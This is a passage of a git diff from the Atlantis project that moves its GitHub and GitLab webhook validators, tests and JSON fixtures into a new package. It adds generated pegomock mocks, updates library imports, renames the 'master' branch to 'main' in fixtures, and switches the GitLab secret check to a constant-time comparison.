b/server/controllers/events/github_request_validator_test.go similarity index 90% rename from server/github_request_validator_test.go rename to server/controllers/events/github_request_validator_test.go index 0f2338810c..8b640b29b0 100644 --- a/server/github_request_validator_test.go +++ b/server/controllers/events/github_request_validator_test.go @@ -11,7 +11,7 @@ // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. -package server_test +package events_test import ( "bytes" @@ -19,15 +19,15 @@ import ( "net/url" "testing" - . "github.com/petergtz/pegomock" - "github.com/runatlantis/atlantis/server" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/controllers/events" . "github.com/runatlantis/atlantis/testing" ) func TestValidate_WithSecretErr(t *testing.T) { t.Log("if the request is not valid against the secret there is an error") RegisterMockTestingT(t) - g := server.DefaultGithubRequestValidator{} + g := events.DefaultGithubRequestValidator{} buf := bytes.NewBufferString("") req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) @@ -42,7 +42,7 @@ func TestValidate_WithSecretErr(t *testing.T) { func TestValidate_WithSecret(t *testing.T) { t.Log("if the request is valid against the secret the payload is returned") RegisterMockTestingT(t) - g := server.DefaultGithubRequestValidator{} + g := events.DefaultGithubRequestValidator{} buf := bytes.NewBufferString(`{"yo":true}`) req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) @@ -57,7 +57,7 @@ func TestValidate_WithSecret(t *testing.T) { func TestValidate_WithoutSecretInvalidContentType(t *testing.T) { t.Log("if the request has an invalid content type an error is returned") RegisterMockTestingT(t) - g := server.DefaultGithubRequestValidator{} + g := events.DefaultGithubRequestValidator{} buf := bytes.NewBufferString("") req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) @@ -71,7 +71,7 @@ func TestValidate_WithoutSecretInvalidContentType(t *testing.T) { func TestValidate_WithoutSecretJSON(t *testing.T) { t.Log("if the request is JSON the body is returned") RegisterMockTestingT(t) - g := server.DefaultGithubRequestValidator{} + g := events.DefaultGithubRequestValidator{} buf := bytes.NewBufferString(`{"yo":true}`) req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) @@ -85,7 +85,7 @@ func TestValidate_WithoutSecretJSON(t *testing.T) { func TestValidate_WithoutSecretFormNoPayload(t *testing.T) { t.Log("if the request is form encoded and does not contain a payload param an error is returned") RegisterMockTestingT(t) - g := server.DefaultGithubRequestValidator{} + g := events.DefaultGithubRequestValidator{} buf := bytes.NewBufferString("") req, err := http.NewRequest("POST", "http://localhost/event", buf) Ok(t, err) @@ -99,7 +99,7 @@ func TestValidate_WithoutSecretFormNoPayload(t *testing.T) { func TestValidate_WithoutSecretForm(t *testing.T) { t.Log("if the request is form encoded and does not contain a payload param an error is returned") RegisterMockTestingT(t) - g := server.DefaultGithubRequestValidator{} + g := events.DefaultGithubRequestValidator{} form := url.Values{} form.Set("payload", `{"yo":true}`) buf := bytes.NewBufferString(form.Encode()) diff --git a/server/gitlab_request_parser_validator.go b/server/controllers/events/gitlab_request_parser_validator.go similarity index 90% rename from server/gitlab_request_parser_validator.go rename to server/controllers/events/gitlab_request_parser_validator.go index 00b35a2fcf..22d2e08e0f 100644 --- a/server/gitlab_request_parser_validator.go +++ b/server/controllers/events/gitlab_request_parser_validator.go @@ -11,20 +11,21 @@ // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. -package server +package events import ( + "crypto/subtle" "encoding/json" "fmt" - "io/ioutil" + "io" "net/http" - gitlab "github.com/xanzy/go-gitlab" + gitlab "gitlab.com/gitlab-org/api/client-go" ) const secretHeader = "X-Gitlab-Token" // #nosec -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_gitlab_request_parser_validator.go GitlabRequestParserValidator +//go:generate pegomock generate --package mocks -o mocks/mock_gitlab_request_parser_validator.go GitlabRequestParserValidator // GitlabRequestParserValidator parses and validates GitLab requests. type GitlabRequestParserValidator interface { @@ -61,14 +62,13 @@ func (d *DefaultGitlabRequestParserValidator) ParseAndValidate(r *http.Request, // Validate secret if specified. headerSecret := r.Header.Get(secretHeader) - secretStr := string(secret) - if len(secret) != 0 && headerSecret != secretStr { + if len(secret) != 0 && subtle.ConstantTimeCompare(secret, []byte(headerSecret)) != 1 { return nil, fmt.Errorf("header %s=%s did not match expected secret", secretHeader, headerSecret) } // Parse request into a gitlab object based on the object type specified // in the gitlabHeader. - bytes, err := ioutil.ReadAll(r.Body) + bytes, err := io.ReadAll(r.Body) if err != nil { return nil, err } diff --git a/server/gitlab_request_parser_validator_test.go b/server/controllers/events/gitlab_request_parser_validator_test.go similarity index 96% rename from server/gitlab_request_parser_validator_test.go rename to server/controllers/events/gitlab_request_parser_validator_test.go index a0759b6061..fb61c4ff9d 100644 --- a/server/gitlab_request_parser_validator_test.go +++ b/server/controllers/events/gitlab_request_parser_validator_test.go @@ -11,7 +11,7 @@ // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. -package server_test +package events_test import ( "bytes" @@ -19,13 +19,13 @@ import ( "reflect" "testing" - . "github.com/petergtz/pegomock" - "github.com/runatlantis/atlantis/server" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/controllers/events" . "github.com/runatlantis/atlantis/testing" - gitlab "github.com/xanzy/go-gitlab" + gitlab "gitlab.com/gitlab-org/api/client-go" ) -var parser = server.DefaultGitlabRequestParserValidator{} +var parser = events.DefaultGitlabRequestParserValidator{} func TestValidate_InvalidSecret(t *testing.T) { t.Log("If the secret header is set and doesn't match expected an error is returned") @@ -157,7 +157,7 @@ var mergeEventJSON = `{ "namespace": "lkysow", "visibility_level": 20, "path_with_namespace": "lkysow/atlantis-example", - "default_branch": "master", + "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow/atlantis-example", "url": "git@gitlab.com:lkysow/atlantis-example.git", @@ -186,7 +186,7 @@ var mergeEventJSON = `{ "source_branch": "patch-1", "source_project_id": 4580910, "state": "opened", - "target_branch": "master", + "target_branch": "main", "target_project_id": 4580910, "time_estimate": 0, "title": "Update main.tf", @@ -204,7 +204,7 @@ var mergeEventJSON = `{ "namespace": "sourceorg", "visibility_level": 20, "path_with_namespace": "sourceorg/atlantis-example", - "default_branch": "master", + "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/sourceorg/atlantis-example", "url": "git@gitlab.com:sourceorg/atlantis-example.git", @@ -222,7 +222,7 @@ var mergeEventJSON = `{ "namespace": "lkysow", "visibility_level": 20, "path_with_namespace": "lkysow/atlantis-example", - "default_branch": "master", + "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow/atlantis-example", "url": "git@gitlab.com:lkysow/atlantis-example.git", @@ -286,7 +286,7 @@ var mergeEventJSON = `{ }, "target_branch": { "previous": null, - "current": "master" + "current": "main" }, "target_project_id": { "previous": null, @@ -333,7 +333,7 @@ var mergeCommentEventJSON = `{ "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlabhq/gitlab-test", - "default_branch":"master", + "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"https://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", @@ -364,7 +364,7 @@ var mergeCommentEventJSON = `{ "merge_request": { "id": 7, "target_branch": "markdown", - "source_branch": "master", + "source_branch": "main", "source_project_id": 5, "author_id": 8, "assignee_id": 28, @@ -388,7 +388,7 @@ var mergeCommentEventJSON = `{ "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlab-org/gitlab-test", - "default_branch":"master", + "default_branch":"main", "homepage":"http://example.com/gitlab-org/gitlab-test", "url":"https://example.com/gitlab-org/gitlab-test.git", "ssh_url":"git@example.com:gitlab-org/gitlab-test.git", @@ -405,7 +405,7 @@ var mergeCommentEventJSON = `{ "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlabhq/gitlab-test", - "default_branch":"master", + "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"https://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", @@ -413,7 +413,7 @@ var mergeCommentEventJSON = `{ }, "last_commit": { "id": "562e173be03b8ff2efb05345d12df18815438a4b", - "message": "Merge branch 'another-branch' into 'master'\n\nCheck in this test\n", + "message": "Merge branch 'another-branch' into 'main'\n\nCheck in this test\n", "timestamp": "2002-10-02T10:00:00-05:00", "url": "http://example.com/gitlab-org/gitlab-test/commit/562e173be03b8ff2efb05345d12df18815438a4b", "author": { @@ -449,7 +449,7 @@ var commitCommentEventJSON = `{ "namespace":"GitlabHQ", "visibility_level":20, "path_with_namespace":"gitlabhq/gitlab-test", - "default_branch":"master", + "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"http://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", diff --git a/server/controllers/events/mocks/mock_azuredevops_request_validator.go b/server/controllers/events/mocks/mock_azuredevops_request_validator.go new file mode 100644 index 0000000000..0829c5e79c --- /dev/null +++ b/server/controllers/events/mocks/mock_azuredevops_request_validator.go @@ -0,0 +1,123 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/controllers/events (interfaces: AzureDevopsRequestValidator) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + http "net/http" + "reflect" + "time" +) + +type MockAzureDevopsRequestValidator struct { + fail func(message string, callerSkip ...int) +} + +func NewMockAzureDevopsRequestValidator(options ...pegomock.Option) *MockAzureDevopsRequestValidator { + mock := &MockAzureDevopsRequestValidator{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockAzureDevopsRequestValidator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockAzureDevopsRequestValidator) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockAzureDevopsRequestValidator) Validate(r *http.Request, user []byte, pass []byte) ([]byte, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockAzureDevopsRequestValidator().") + } + _params := []pegomock.Param{r, user, pass} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Validate", _params, []reflect.Type{reflect.TypeOf((*[]byte)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []byte + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]byte) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockAzureDevopsRequestValidator) VerifyWasCalledOnce() *VerifierMockAzureDevopsRequestValidator { + return &VerifierMockAzureDevopsRequestValidator{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockAzureDevopsRequestValidator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockAzureDevopsRequestValidator { + return &VerifierMockAzureDevopsRequestValidator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockAzureDevopsRequestValidator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockAzureDevopsRequestValidator { + return &VerifierMockAzureDevopsRequestValidator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockAzureDevopsRequestValidator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockAzureDevopsRequestValidator { + return &VerifierMockAzureDevopsRequestValidator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockAzureDevopsRequestValidator struct { + mock *MockAzureDevopsRequestValidator + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockAzureDevopsRequestValidator) Validate(r *http.Request, user []byte, pass []byte) *MockAzureDevopsRequestValidator_Validate_OngoingVerification { + _params := []pegomock.Param{r, user, pass} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Validate", _params, verifier.timeout) + return &MockAzureDevopsRequestValidator_Validate_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockAzureDevopsRequestValidator_Validate_OngoingVerification struct { + mock *MockAzureDevopsRequestValidator + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockAzureDevopsRequestValidator_Validate_OngoingVerification) GetCapturedArguments() (*http.Request, []byte, []byte) { + r, user, pass := c.GetAllCapturedArguments() + return r[len(r)-1], user[len(user)-1], pass[len(pass)-1] +} + +func (c *MockAzureDevopsRequestValidator_Validate_OngoingVerification) GetAllCapturedArguments() (_param0 []*http.Request, _param1 [][]byte, _param2 [][]byte) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*http.Request, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*http.Request) + } + } + if len(_params) > 1 { + _param1 = make([][]byte, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.([]byte) + } + } + if len(_params) > 2 { + _param2 = make([][]byte, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.([]byte) + } + } + } + return +} diff --git a/server/controllers/events/mocks/mock_github_request_validator.go b/server/controllers/events/mocks/mock_github_request_validator.go new file mode 100644 index 0000000000..b3cd8ada42 --- /dev/null +++ b/server/controllers/events/mocks/mock_github_request_validator.go @@ -0,0 +1,117 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/controllers/events (interfaces: GithubRequestValidator) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + http "net/http" + "reflect" + "time" +) + +type MockGithubRequestValidator struct { + fail func(message string, callerSkip ...int) +} + +func NewMockGithubRequestValidator(options ...pegomock.Option) *MockGithubRequestValidator { + mock := &MockGithubRequestValidator{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockGithubRequestValidator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockGithubRequestValidator) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockGithubRequestValidator) Validate(r *http.Request, secret []byte) ([]byte, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockGithubRequestValidator().") + } + _params := []pegomock.Param{r, secret} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Validate", _params, []reflect.Type{reflect.TypeOf((*[]byte)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []byte + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]byte) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockGithubRequestValidator) VerifyWasCalledOnce() *VerifierMockGithubRequestValidator { + return &VerifierMockGithubRequestValidator{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockGithubRequestValidator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockGithubRequestValidator { + return &VerifierMockGithubRequestValidator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockGithubRequestValidator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGithubRequestValidator { + return &VerifierMockGithubRequestValidator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockGithubRequestValidator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockGithubRequestValidator { + return &VerifierMockGithubRequestValidator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockGithubRequestValidator struct { + mock *MockGithubRequestValidator + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockGithubRequestValidator) Validate(r *http.Request, secret []byte) *MockGithubRequestValidator_Validate_OngoingVerification { + _params := []pegomock.Param{r, secret} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Validate", _params, verifier.timeout) + return &MockGithubRequestValidator_Validate_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockGithubRequestValidator_Validate_OngoingVerification struct { + mock *MockGithubRequestValidator + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockGithubRequestValidator_Validate_OngoingVerification) GetCapturedArguments() (*http.Request, []byte) { + r, secret := c.GetAllCapturedArguments() + return r[len(r)-1], secret[len(secret)-1] +} + +func (c *MockGithubRequestValidator_Validate_OngoingVerification) GetAllCapturedArguments() (_param0 []*http.Request, _param1 [][]byte) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*http.Request, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*http.Request) + } + } + if len(_params) > 1 { + _param1 = make([][]byte, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.([]byte) + } + } + } + return +} diff --git a/server/controllers/events/mocks/mock_gitlab_request_parser_validator.go b/server/controllers/events/mocks/mock_gitlab_request_parser_validator.go new file mode 100644 index 0000000000..e23b6c4996 --- /dev/null +++ b/server/controllers/events/mocks/mock_gitlab_request_parser_validator.go @@ -0,0 +1,117 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/controllers/events (interfaces: GitlabRequestParserValidator) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + http "net/http" + "reflect" + "time" +) + +type MockGitlabRequestParserValidator struct { + fail func(message string, callerSkip ...int) +} + +func NewMockGitlabRequestParserValidator(options ...pegomock.Option) *MockGitlabRequestParserValidator { + mock := &MockGitlabRequestParserValidator{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockGitlabRequestParserValidator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockGitlabRequestParserValidator) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockGitlabRequestParserValidator) ParseAndValidate(r *http.Request, secret []byte) (interface{}, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockGitlabRequestParserValidator().") + } + _params := []pegomock.Param{r, secret} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseAndValidate", _params, []reflect.Type{reflect.TypeOf((*interface{})(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 interface{} + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(interface{}) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockGitlabRequestParserValidator) VerifyWasCalledOnce() *VerifierMockGitlabRequestParserValidator { + return &VerifierMockGitlabRequestParserValidator{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockGitlabRequestParserValidator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockGitlabRequestParserValidator { + return &VerifierMockGitlabRequestParserValidator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockGitlabRequestParserValidator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGitlabRequestParserValidator { + return &VerifierMockGitlabRequestParserValidator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockGitlabRequestParserValidator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockGitlabRequestParserValidator { + return &VerifierMockGitlabRequestParserValidator{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockGitlabRequestParserValidator struct { + mock *MockGitlabRequestParserValidator + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockGitlabRequestParserValidator) ParseAndValidate(r *http.Request, secret []byte) *MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification { + _params := []pegomock.Param{r, secret} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseAndValidate", _params, verifier.timeout) + return &MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification struct { + mock *MockGitlabRequestParserValidator + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification) GetCapturedArguments() (*http.Request, []byte) { + r, secret := c.GetAllCapturedArguments() + return r[len(r)-1], secret[len(secret)-1] +} + +func (c *MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification) GetAllCapturedArguments() (_param0 []*http.Request, _param1 [][]byte) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*http.Request, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*http.Request) + } + } + if len(_params) > 1 { + _param1 = make([][]byte, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.([]byte) + } + } + } + return +} diff --git a/server/testfixtures/bb-server-pull-deleted-event.json b/server/controllers/events/testdata/bb-server-pull-deleted-event.json similarity index 97% rename from server/testfixtures/bb-server-pull-deleted-event.json rename to server/controllers/events/testdata/bb-server-pull-deleted-event.json index 29f83137b1..d8a3507c31 100644 --- a/server/testfixtures/bb-server-pull-deleted-event.json +++ b/server/controllers/events/testdata/bb-server-pull-deleted-event.json @@ -42,8 +42,8 @@ } }, "toRef":{ - "id":"refs/heads/master", - "displayId":"master", + "id":"refs/heads/main", + "displayId":"main", "latestCommit":"7e48f426f0a6e47c5b5e862c31be6ca965f82c9c", "repository":{ "slug":"repository", diff --git a/server/testfixtures/githubIssueCommentEvent.json b/server/controllers/events/testdata/githubIssueCommentEvent.json similarity index 99% rename from server/testfixtures/githubIssueCommentEvent.json rename to server/controllers/events/testdata/githubIssueCommentEvent.json index a15f67ed4a..6f85548207 100644 --- a/server/testfixtures/githubIssueCommentEvent.json +++ b/server/controllers/events/testdata/githubIssueCommentEvent.json @@ -182,7 +182,7 @@ "forks": 0, "open_issues": 2, "watchers": 0, - "default_branch": "master" + "default_branch": "main" }, "sender": { "login": "runatlantis", @@ -204,4 +204,4 @@ "type": "User", "site_admin": false } -} \ No newline at end of file +} diff --git a/server/testfixtures/githubIssueCommentEvent_notAllowlisted.json b/server/controllers/events/testdata/githubIssueCommentEvent_notAllowlisted.json similarity index 99% rename from server/testfixtures/githubIssueCommentEvent_notAllowlisted.json rename to server/controllers/events/testdata/githubIssueCommentEvent_notAllowlisted.json index 0a71381c49..0e61cf6fdc 100644 --- a/server/testfixtures/githubIssueCommentEvent_notAllowlisted.json +++ b/server/controllers/events/testdata/githubIssueCommentEvent_notAllowlisted.json @@ -158,7 +158,7 @@ "forks": 0, "open_issues": 2, "watchers": 0, - "default_branch": "master" + "default_branch": "main" }, "sender": { "login": "baxterthehacker", @@ -179,4 +179,4 @@ "type": "User", "site_admin": false } -} \ No newline at end of file +} diff --git a/server/testfixtures/githubPullRequestClosedEvent.json b/server/controllers/events/testdata/githubPullRequestClosedEvent.json similarity index 99% rename from server/testfixtures/githubPullRequestClosedEvent.json rename to server/controllers/events/testdata/githubPullRequestClosedEvent.json index cc281a8d7a..2cb9a014b6 100644 --- a/server/testfixtures/githubPullRequestClosedEvent.json +++ b/server/controllers/events/testdata/githubPullRequestClosedEvent.json @@ -179,12 +179,12 @@ "forks": 0, "open_issues": 1, "watchers": 0, - "default_branch": "master" + "default_branch": "main" } }, "base": { - "label": "runatlantis:master", - "ref": "master", + "label": "runatlantis:main", + "ref": "main", "sha": "f59a822e83b3cd193142c7624ea635a5d7894388", "user": { "login": "runatlantis", @@ -303,7 +303,7 @@ "forks": 0, "open_issues": 1, "watchers": 0, - "default_branch": "master" + "default_branch": "main" } }, "_links": { @@ -443,7 +443,7 @@ "forks": 0, "open_issues": 1, "watchers": 0, - "default_branch": "master" + "default_branch": "main" }, "sender": { "login": "runatlantis", @@ -465,4 +465,4 @@ "type": "User", "site_admin": false } -} \ No newline at end of file +} diff --git a/server/testfixtures/githubPullRequestOpenedEvent.json b/server/controllers/events/testdata/githubPullRequestOpenedEvent.json similarity index 99% rename from server/testfixtures/githubPullRequestOpenedEvent.json rename to server/controllers/events/testdata/githubPullRequestOpenedEvent.json index 03ee106b5e..a2ea2c7d21 100644 --- a/server/testfixtures/githubPullRequestOpenedEvent.json +++ b/server/controllers/events/testdata/githubPullRequestOpenedEvent.json @@ -179,12 +179,12 @@ "forks": 0, "open_issues": 2, "watchers": 0, - "default_branch": "master" + "default_branch": "main" } }, "base": { - "label": "runatlantis:master", - "ref": "master", + "label": "runatlantis:main", + "ref": "main", "sha": "f59a822e83b3cd193142c7624ea635a5d7894388", "user": { "login": "runatlantis", @@ -303,7 +303,7 @@ "forks": 0, "open_issues": 2, "watchers": 0, - "default_branch": "master" + "default_branch": "main" } }, "_links": { @@ -443,7 +443,7 @@ "forks": 0, "open_issues": 2, "watchers": 0, - "default_branch": "master" + "default_branch": "main" }, "sender": { "login": "runatlantis", @@ -465,4 +465,4 @@ "type": "User", "site_admin": false } -} \ No newline at end of file +} diff --git a/server/testfixtures/gitlabMergeCommentEvent_notAllowlisted.json b/server/controllers/events/testdata/gitlabMergeCommentEvent_notAllowlisted.json similarity index 94% rename from server/testfixtures/gitlabMergeCommentEvent_notAllowlisted.json rename to server/controllers/events/testdata/gitlabMergeCommentEvent_notAllowlisted.json index aa364d214f..98312f9930 100644 --- a/server/testfixtures/gitlabMergeCommentEvent_notAllowlisted.json +++ b/server/controllers/events/testdata/gitlabMergeCommentEvent_notAllowlisted.json @@ -17,7 +17,7 @@ "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlabhq/gitlab-test", - "default_branch":"master", + "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"https://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", @@ -48,7 +48,7 @@ "merge_request": { "id": 7, "target_branch": "markdown", - "source_branch": "master", + "source_branch": "main", "source_project_id": 5, "author_id": 8, "assignee_id": 28, @@ -72,7 +72,7 @@ "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlab-org/gitlab-test", - "default_branch":"master", + "default_branch":"main", "homepage":"http://example.com/gitlab-org/gitlab-test", "url":"https://example.com/gitlab-org/gitlab-test.git", "ssh_url":"git@example.com:gitlab-org/gitlab-test.git", @@ -89,7 +89,7 @@ "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlabhq/gitlab-test", - "default_branch":"master", + "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"https://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", @@ -97,7 +97,7 @@ }, "last_commit": { "id": "562e173be03b8ff2efb05345d12df18815438a4b", - "message": "Merge branch 'another-branch' into 'master'\n\nCheck in this test\n", + "message": "Merge branch 'another-branch' into 'main'\n\nCheck in this test\n", "timestamp": "2002-10-02T10:00:00-05:00", "url": "http://example.com/gitlab-org/gitlab-test/commit/562e173be03b8ff2efb05345d12df18815438a4b", "author": { @@ -112,4 +112,4 @@ "avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\u0026d=identicon" } } -} \ No newline at end of file +} diff --git a/server/testfixtures/gitlabMergeCommentEvent_shouldIgnore.json b/server/controllers/events/testdata/gitlabMergeCommentEvent_shouldIgnore.json similarity index 94% rename from server/testfixtures/gitlabMergeCommentEvent_shouldIgnore.json rename to server/controllers/events/testdata/gitlabMergeCommentEvent_shouldIgnore.json index d92bc4d45e..8b7548e544 100644 --- a/server/testfixtures/gitlabMergeCommentEvent_shouldIgnore.json +++ b/server/controllers/events/testdata/gitlabMergeCommentEvent_shouldIgnore.json @@ -17,7 +17,7 @@ "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlabhq/gitlab-test", - "default_branch":"master", + "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"https://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", @@ -48,7 +48,7 @@ "merge_request": { "id": 7, "target_branch": "markdown", - "source_branch": "master", + "source_branch": "main", "source_project_id": 5, "author_id": 8, "assignee_id": 28, @@ -72,7 +72,7 @@ "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlab-org/gitlab-test", - "default_branch":"master", + "default_branch":"main", "homepage":"http://example.com/gitlab-org/gitlab-test", "url":"https://example.com/gitlab-org/gitlab-test.git", "ssh_url":"git@example.com:gitlab-org/gitlab-test.git", @@ -89,7 +89,7 @@ "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlabhq/gitlab-test", - "default_branch":"master", + "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"https://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", @@ -97,7 +97,7 @@ }, "last_commit": { "id": 